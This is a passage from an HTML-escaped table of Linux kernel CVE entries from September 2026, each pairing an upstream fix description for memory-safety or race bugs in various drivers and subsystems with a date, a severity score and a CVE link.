it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90008&quot; target=&quot;_blank&quot;&gt;CVE-2026-90008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: bsg: Fix TOCTOU in io_uring passthrough command setup scsi_bsg_uring_cmd() reads bsg_uring_cmd from the shared mmap&#039;d SQE. Userspace can change a field after we check it and before we use it. request_len is the sharp case: it can grow past sizeof(scmd-&amp;gt;cmnd) after the bound check and overflow scmd-&amp;gt;cmnd in copy_from_user(). READ_ONCE() the SQE fields we check or use into locals before use.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90009&quot; target=&quot;_blank&quot;&gt;CVE-2026-90009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: bsg: Cap io_uring sense copy to max_response_len Completion copied scmd-&amp;gt;sense_len to the user response buffer without honoring max_response_len. After a valid sense, the midlayer sets sense_len to the real length (up to SCSI_SENSE_BUFFERSIZE), so a smaller user buffer was overrun.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90010&quot; target=&quot;_blank&quot;&gt;CVE-2026-90010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Take trace_array reference when opening options file The options files do not take the trace_array reference for the options they represent. This could cause a use-after-free kernel crash if one of these files is opened by one task and another task removes the instance that the option is for. Because it doesn&#039;t take a reference upon opening, it will not stop the removal which will free the options descriptor that is being used. As the options are somewhat dynamic in their creation at boot up, each file represents a flag in the trace_array. The trace_array has an array of indexes to represent each of these flags that is stored in the trace_flags_index array. The address of the index array element is used to pass to the inode-&amp;gt;i_private pointer. Then that element is read which holds the index (which represents the flag) and then the index is used to calculate the trace_array descriptor from its trace_flags_index array. One issue is that the index element can not be referenced until the trace_array&#039;s reference is taken. To handle this, create a new helper function called: trace_array_options_get() that will iterate all the existing trace_arrays in the ftrace_trace_arrays list (under the trace_types_lock), and compare the passed in address of the index element with the entire array of the trace_array&#039;s trace_flags_index array. If it matches, then up the corresponding trace_array&#039;s reference and return.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90013&quot; target=&quot;_blank&quot;&gt;CVE-2026-90013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tracing: Have show_event_filters/triggers files take trace array ref The newly added files show_event_filters and show_event_triggers that show all filters or triggers that are set within the trace array do not take a reference for the trace array it is showing. Without taking a reference, the trace_array may be freed via &quot;rmdir&quot; while a task is reading one of theses files. Those files iterate all the events within an instance (trace_array) and nothing prevents that instance from being freed while its data is being read. This causes a use-after-free crash. Have the open of both those files take the trace_array reference via the trace_array_get() that prevents the trace_array from being freed while the files are opened.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90014&quot; target=&quot;_blank&quot;&gt;CVE-2026-90014&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read in rtw_restruct_wmm_ie() rtw_restruct_wmm_ie() scans in_ie for a WMM IE with: while (i &amp;lt; in_len) { ... if (i + 5 &amp;lt; in_len &amp;amp;&amp;amp; in_ie[i] == 0xDD &amp;amp;&amp;amp; ...) { ... break; } i += (in_ie[i + 1] + 2); /* to the next IE element */ } When the &quot;i + 5 &amp;lt; in_len&quot; match check fails simply because i is within 5 bytes of the end of the buffer (i.e. no WMM IE was found near the tail of in_ie), execution falls through to &quot;i += (in_ie[i + 1] + 2)&quot;, which reads in_ie[i + 1]. If i == in_len - 1 at that point, this is a 1-byte out-of-bounds read of an attacker-influenced IE buffer built from association/scan data. Commit a75281626fc8f (&quot;staging: rtl8723bs: fix potential out-of-bounds read in rtw_restruct_wmm_ie&quot;) added the &quot;i + 5 &amp;lt; in_len&quot; guard to the match condition itself, but did not add an equivalent guard before the fallthrough advance, so the same class of OOB read remained reachable through the non-matching path. Add an explicit bounds check before advancing to the next IE.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90016&quot; target=&quot;_blank&quot;&gt;CVE-2026-90016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read in rtw_action_frame_parse() rtw_action_frame_parse() takes a frame_len parameter but never actually checks it before indexing into the frame body: const u8 *frame_body = frame + sizeof(struct ieee80211_hdr_3addr); ... c = frame_body[0]; ... a = frame_body[1]; frame_body already points 24 bytes (sizeof(struct ieee80211_hdr_3addr)) into frame, so reading frame_body[0] and frame_body[1] requires frame_len &amp;gt;= 26. A management action frame shorter than that (e.g. exactly 24 bytes, the minimum a malicious peer can send) causes a 1-2 byte out-of-bounds read. This is reachable from rtw_cfg80211_monitor_if_xmit_entry() and cfg80211_rtw_mgmt_tx() in ioctl_cfg80211.c, both of which pass attacker/user-influenced frame buffers and lengths straight through. Add the missing length check before frame_body is dereferenced.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90017&quot; target=&quot;_blank&quot;&gt;CVE-2026-90017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_midi2: fix use-after-free in string attribute show path f_midi2_opts_str_show() takes the string lock internally, but its callers dereference the opts-&amp;gt;info.&amp;lt;field&amp;gt; pointer before calling it, outside the lock. This races with f_midi2_opts_str_store(), which frees the old string under opts-&amp;gt;lock when the attribute is written concurrently, the show path can read a pointer that gets freed before the lock inside str_show() is even taken. Change f_midi2_opts_str_show() to take a pointer to the string field, matching the existing pattern in f_midi2_opts_str_store(), and dereference it only after the lock is held. Update all three callers (iface_name, block name, and the EP string option macro) accordingly.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90022&quot; target=&quot;_blank&quot;&gt;CVE-2026-90022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: displayport: Fix OOB altmode array index The UCSI displayport driver indexes the connector&#039;s port altmode array with the GET_CURRENT_CAM response after checking it is not 0xff. The port altmode array is UCSI_MAX_ALTMODES elements long. If the PPM returns an invalid GET_CURRENT_CAM response above UCSI_MAX_ALTMODES and not equal to 0xff, the kernel may crash with an array index OOB error. Update the UCSI displayport driver to verify the current cam is less than UCSI_MAX_ALTMODES before accessing the port altmode array.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90025&quot; target=&quot;_blank&quot;&gt;CVE-2026-90025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: typec: qcom-pmic: cancel reset_work on stop pdphy_stop() disables IRQs but leaves reset_work pending. If the IRQ handler schedules it just before disable_irq(), the work runs after remove() frees the struct via devm. Call cancel_work_sync() after disabling IRQs to close the window. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90026&quot; target=&quot;_blank&quot;&gt;CVE-2026-90026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: typec: qcom-pmic-typec: disable cc_debounce_dwork on stop cc_debounce_dwork is queued from the set_cc() and start_toggling() callbacks, which run from TCPM&#039;s kthread worker. port_stop() returns before tcpm_unregister_port() destroys that worker. Flushing the worker during unregister may therefore run a callback which queues the delayed work after port_stop() has returned. The delayed work can then run after devres has freed pmic_typec_port. Use disable_delayed_work_sync() in port_stop() to cancel a pending instance and prevent the TCPM callbacks from queueing another one. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90027&quot; target=&quot;_blank&quot;&gt;CVE-2026-90027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: dwc3: clear forceRM when issuing EndTransfer The forceRM bit of the DEPCMD register controls the behavior of the EndTransfer command used to stop an active transfer. Older DWC3 programming guide revisions recommended setting forceRM=1 when issuing EndTransfer. Newer programming guide revisions recommend issuing EndTransfer with forceRM cleared. With forceRM=1 on DWC_usb31 v2.00a and v2.10a controllers, a transfer aborted through the ep_dequeue path was observed to remain active after EndTransfer completion. A subsequent StartTransfer issued on the same endpoint triggered writes associated with the aborted transfer. This resulted in an SMMU fault because the transfer buffer had already been unmapped during EndTransfer command-completion cleanup. Using forceRM=0 eliminates the issue. Although older DWC3 programming guide revisions recommended setting forceRM=1, no issues are known from using forceRM=0. Clear forceRM when issuing EndTransfer to provide consistent EndTransfer behavior and align with newer programming guide recommendations.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90030&quot; target=&quot;_blank&quot;&gt;CVE-2026-90030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: usbtv: keep device alive while ALSA card exists The ALSA PCM callbacks store the driver state in pcm-&amp;gt;private_data. An open PCM file can outlive USB disconnect because usbtv_audio_free() uses snd_card_free_when_closed(). The disconnect path can then drop the V4L2 device reference and free struct usbtv before ALSA releases the substream, so a later close dereferences freed memory in snd_usbtv_pcm_close(). Take a V4L2 device reference for the ALSA card and drop it from the card private_free callback. This keeps struct usbtv valid until ALSA has closed the remaining files and freed the card.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90032&quot; target=&quot;_blank&quot;&gt;CVE-2026-90032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: zram: fix slot lock bit position on big-endian 64-bit The slot lock is a bit operation on the whole __lock word, which flags and ac_time alias as two u32s. On little-endian the lock bit lands in the position ZRAM_ENTRY_LOCK reserves in flags, so the aliasing works out. On 64-bit big-endian it lands in ac_time instead: with ZRAM_TRACK_ENTRY_ACTIME enabled, storing the access time from mark_slot_accessed() or slot_free() wipes out the held lock bit, letting another CPU take the same slot lock; an access time value with that bit set makes the slot look locked forever. Shift the lock bit into the flags half of the word on big-endian 64-bit.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90043&quot; target=&quot;_blank&quot;&gt;CVE-2026-90043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Fix Use-After-Free in AIO error path In ffs_epfile_write_iter() and ffs_epfile_read_iter(), when ffs_epfile_io() fails with an error other than -EIOCBQUEUED, the io_data structure (`p`) is freed. However, for AIO operations, the kiocb cancel function was already armed and kiocb-&amp;gt;private was set to `p`. If a concurrent cancel operation (such as sys_io_cancel()) executes after ffs_epfile_io() fails but before the function frees `p`, a Use-After-Free can occur when the cancellation handler accesses the freed pointer. To securely fix this race condition, we must properly un-arm the cancellation. Invoking `kiocb-&amp;gt;ki_complete()` does exactly this by acquiring `ctx-&amp;gt;ctx_lock` and safely removing the kiocb from the active sequence. In doing so, it ensures that a parallel io_cancel can no longer discover the kiocb, effectively closing the race window. We then return -EIOCBQUEUED to notify the VFS layer that the kiocb has been consumed and it should avoid attempting to complete the request again or triggering subsequent completion handlers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90044&quot; target=&quot;_blank&quot;&gt;CVE-2026-90044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: USB: gadget: ffs: fix mm lifetime handling io_data stores a pointer to the submitting task&#039;s mm_struct, but does not currently hold a reference to it while async requests are pending. This can result in a use-after-free if the task exits before completion handling finishes. Take a reference with mmgrab() when queuing the read request and release it with mmdrop() on request completion.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90045&quot; target=&quot;_blank&quot;&gt;CVE-2026-90045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/page_alloc: don&#039;t spin_trylock() in NMI on UP Patch series &quot;mm/page_alloc: fixes for free_pages_nolock() on RT/UP&quot;. Pre-existing bugs found by Sashiko during review of this other series: https://lore.kernel.org/all/20260703-alloc-trylock-v5-0-c87b714e19d3@google.com/ I have not reproduced these bugs, and I suspect there is no real-world user that is affected by them. This patch (of 2): As noted in can_spin_trylock(), using this is unsafe in this context. commit 620b46ed6ae17 (&quot;mm/page_alloc: return NULL early from alloc_frozen_pages_nolock() in NMI on UP&quot;) fixed this on the alloc side but missed the free side. Impact: If BPF programs using these features in NMI (probably tracing) are present on non-SMP builds this might crash the kernel and is probably exploitable by local attackers for privilege escalation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90046&quot; target=&quot;_blank&quot;&gt;CVE-2026-90046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/xe: Don&#039;t hand out the flat CCS storage as usable VRAM get_flat_ccs_offset() reads the base of the flat CCS storage from the hardware, scales it by the number of enabled L3 nodes, and rounds the result up to 128K. Everything below that offset is then handed to the VRAM allocator as usable memory. Rounding a limit that means &quot;usable memory ends here&quot; upwards publishes whatever lies between the real base and the rounded one as free memory, and that memory belongs to the compression hardware. The scaled value has no reason to be 128K aligned, and on a Battlemage G21 with 16 GiB it is not: flat CCS base: raw 0x3fafff800, rounded 0x3fb000000 so the last 2 KiB of page 0x3fafff000 is CCS storage, in the allocator&#039;s pool. Whatever is allocated there gets that tail overwritten by the compression hardware, which needs no page-table entry, no buffer object and no GPU submission to do it, and does it before userspace exists. On this machine a Mesa VM&#039;s level-3 page table landed on that page on every cold boot. It lost the entry covering the compositor&#039;s batch-buffer heap, so the compositor&#039;s first submission faulted fetching its batch and gdm restarted it forever: a black screen on an otherwise working machine. Restarting gdm cleared it because the next VM&#039;s page tables were allocated somewhere else. Round down instead, to the page size the allocator works in. On this machine that excludes exactly one page. Reading the reserved page afterwards shows what had been writing it: [369] 0xcccc000000000000 [371] 0xcc77000000000000 [373] 0xcccc000000000000 [375] 0xcc77000000000000 compression metadata, two bytes per sixteen, sitting where the driver used to hand out memory. The assertion that should have caught this compares the offset against GSMBASE - ccs_size for equality. That value is 128K aligned, so it agrees with the rounded-up offset precisely when the base is not aligned - the check cannot fail in the case it exists to catch, and is compiled out unless CONFIG_DRM_XE_DEBUG is set. Replace it with one that can fail: CCS storage must not run into GSM. [ And this was a debug session from hell, enormously helped by an AI doing much of the grunt-work. I&#039;d like to call it my tireless helper, but the AI several times stated flat out that this was impossible and unsolvable and that we should just write a report about it. I suspect those things have been trained by people who may not be quite as stubborn as I am. But while the AI was ready to give up several times, it did keep adding debug code and analyzing it faithfully when I pushed. So credit where credit is due and I let the AI write the commit message above. This is basically a one-liner fixing a bogus &quot;round_up()&quot; to a &quot;round_down()&quot;, but there were 24 patches adding more and more debug information to this, and 18 kernel boot to finally narrow it down to this. - Linus ]&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90047&quot; target=&quot;_blank&quot;&gt;CVE-2026-90047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tcp: reject non zerocopy devmem tx Devmem tcp tx doesn&#039;t work without zero-copy, however it&#039;s not currently enforced if NETIF_F_SG isn&#039;t present. In this case, tcp_sendmsg_locked() will try the copy path and try to copy data from an iovec which consists of offsets into the dma-buf and would normally fail. Moreover, d9c56501c72fd (&quot;net: tcp: block mixing readable and unreadable frags&quot;) relies on that and assumes that the devmem binding is present IFF we&#039;re using the zero-copy path, which can be used to mix net-iov and pages in a single skb, and break invariants. Let&#039;s reject devmem tx without zero-copy. Note, the parameter check the patch is modifying is too loose, we can create an io_uring request with dmabuf_id and all ZC flags, but which won&#039;t have the binding. We replace it with stricter validation.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90051&quot; target=&quot;_blank&quot;&gt;CVE-2026-90051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-integrity: fix buffer overflow with keyed discard Since commit 68c5c42567bc (&quot;dm-integrity: replace forgeable discard filler with a keyed sector marker&quot;), integrity_metadata computes a checksum for every discarded block into the &quot;checksums&quot; buffer. integrity_sector_checksum always writes the whole digest. So if the tag size is smaller than the digest size, the checksum of the last block that fits into the buffer is written past the end of it. For example, with hmac(sha256) and tag size 16, a 4MiB discard writes 16 bytes past the kmalloc&#039;ed page. Fix this by subtracting extra_space from the buffer size when computing max_blocks, like we do for writes.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90052&quot; target=&quot;_blank&quot;&gt;CVE-2026-90052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: slip: remove slip_hangup() to fix use-after-free in slip_receive_buf() Jaeyoung Chung and Eulgyu Kim reported a slab-use-after-free read in slip_receive_buf() when racing against tty hangup. tty_ldisc_hangup() calls ld-&amp;gt;ops-&amp;gt;hangup() while holding only a read lock on tty-&amp;gt;ldisc_sem (via tty_ldisc_ref()). Because slip_hangup() simply called slip_close(), it ran concurrently with reader functions such as slip_receive_buf(). slip_close() unregisters and frees the net device and its private struct slip, causing concurrent reader threads in slip_receive_buf() to dereference freed memory. Line discipline close() is already guaranteed to be called under the write lock of tty-&amp;gt;ldisc_sem during hangup processing (in tty_ldisc_reinit() or tty_ldisc_kill()). Remove slip_hangup() so teardown is serialized cleanly by slip_close().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90057&quot; target=&quot;_blank&quot;&gt;CVE-2026-90057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: stmmac: restore NET_IP_ALIGN in the RX DMA offset Since the RX path was converted to zero-copy, the page pool page is handed to the stack directly as the skb head, and the offset the DMA engine writes at is what determines the alignment of the packet headers. Before the conversion the payload was copied into an skb obtained from napi_alloc_skb(), which reserves NET_SKB_PAD + NET_IP_ALIGN. The conversion moved the headroom into stmmac_rx_offset() but did not carry over NET_IP_ALIGN, so on architectures where NET_IP_ALIGN is 2 the IP header now lands misaligned: 64 (NET_SKB_PAD) + 14 (ethernet) + 20 (IP) = 98 Same for the XDP branch: 256 (XDP_PACKET_HEADROOM) + 14 (ethernet) + 20 (IP) = 290 On ARM32 this is fatal, because ldm and ldrd trap on unaligned addresses even when CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS is set. Any received echo request panics the machine, e.g: Unhandled fault: alignment exception (0x001) at 0x81873062 Internal error: : 1 [#1] SMP ARM Hardware name: Altera SOCFPGA Arria10 PC is at icmp_echo+0x38/0xa8 LR is at icmp_rcv+0x22c/0x370 Call trace: icmp_echo from icmp_rcv+0x22c/0x370 icmp_rcv from ip_protocol_deliver_rcu+0x2c/0x224 ip_protocol_deliver_rcu from ip_local_deliver+0xc8/0x1a0 ip_local_deliver from ip_sublist_rcv_finish+0x3c/0x50 ip_sublist_rcv_finish from ip_list_rcv_finish+0x110/0x118 ip_list_rcv_finish from ip_list_rcv+0xc8/0xdc ip_list_rcv from __netif_receive_skb_list_core+0x170/0x1c0 ... napi_complete_done from stmmac_napi_poll_rx+0xcb0/0x1030 Code: e24dd068 e59020a0 e28dc010 e0822001 (e8920003) Kernel panic - not syncing: Fatal exception in interrupt The faulting instruction is the ldm of *icmp_hdr(skb) in icmp_echo(). Fix by adding NET_IP_ALIGN back to the RX offset, which restores the alignment the stack used to get. Note that commit a955318fe67e (&quot;stmmac: align RX buffers&quot;) made a similar change in 2021 and was reverted by commit 12d125b4574b (&quot;stmmac: Revert &quot;stmmac: align RX buffers&quot;&quot;) because it caused packet corruption. That patch raised the offset from 0 without adjusting the buffer size accounting, so the DMA engine could arguably write past the end of the RX buffers, though this was never root caused. Commit df542f669307 (&quot;net: stmmac: Switch to zero-copy in non-XDP RX path&quot;) since derives the page pool allocation from stmmac_rx_offset(), so the extra bytes are accounted for.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90059&quot; target=&quot;_blank&quot;&gt;CVE-2026-90059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: move hardware offload step after building the chain blob Allocate the chain blob before the ruleset offload to reduce chances of entering an inconsistent state where the offloaded ruleset in the nic and the software ruleset differ.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90062&quot; target=&quot;_blank&quot;&gt;CVE-2026-90062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: libceph: validate banner payload length When parsing the Ceph messenger v2 protocol banner, the `payload_len` field is decoded from the banner prefix. If a client sends a banner with a `payload_len` of 0, the kernel sets up a 0-length socket read. This violates an invariant in the state machine, triggering a warning in `populate_in_iter()`: ------------[ cut here ]------------ !iov_iter_count(&amp;amp;con-&amp;gt;v2.in_iter) WARNING: net/ceph/messenger_v2.c:3129 at populate_in_iter net/ceph/messenger_v2.c:3129 [inline], CPU#1: kworker/1:3/5070 WARNING: net/ceph/messenger_v2.c:3129 at ceph_con_v2_try_read+0x6634/0x6810 net/ceph/messenger_v2.c:3159, CPU#1: kworker/1:3/5070 ... Call Trace: &amp;lt;TASK&amp;gt; ceph_con_workfn+0x1f5/0x14a0 net/ceph/messenger.c:1575 process_one_work kernel/workqueue.c:3322 [inline] process_scheduled_works+0xa8e/0x14e0 kernel/workqueue.c:3405 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3486 kthread+0x388/0x470 kernel/kthread.c:436 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 &amp;lt;/TASK&amp;gt; According to the msgr2 protocol specification, the banner payload is expected to contain at least two 64-bit integers (`server_feat` and `server_req_feat`). Therefore, `payload_len` must be at least 16 bytes. Fix this by adding a check in `process_banner_prefix()` to reject a `payload_len` smaller than 16 bytes. This prevents the 0-length read and correctly aborts the connection with a protocol error.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90067&quot; target=&quot;_blank&quot;&gt;CVE-2026-90067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: acomp - allocate async request context when cloning ACOMP_REQUEST_ON_STACK() reserves only enough storage for the synchronous fallback. When an async implementation is selected, callers clone that stack request before retrying, but acomp_request_clone() currently copies only the stack-sized object. The clone therefore has no storage for the async provider request context, and providers such as QAT write past the allocation through acomp_request_ctx(). KASAN does report a slab OOB write. Allocate a zeroed clone large enough for the runtime acomp request size, copy only the bytes present in the source object, and preserve the existing fallback-on-allocation-failure behavior. Use the runtime reqsize because an implementation may adjust it during tfm initialization.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90069&quot; target=&quot;_blank&quot;&gt;CVE-2026-90069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
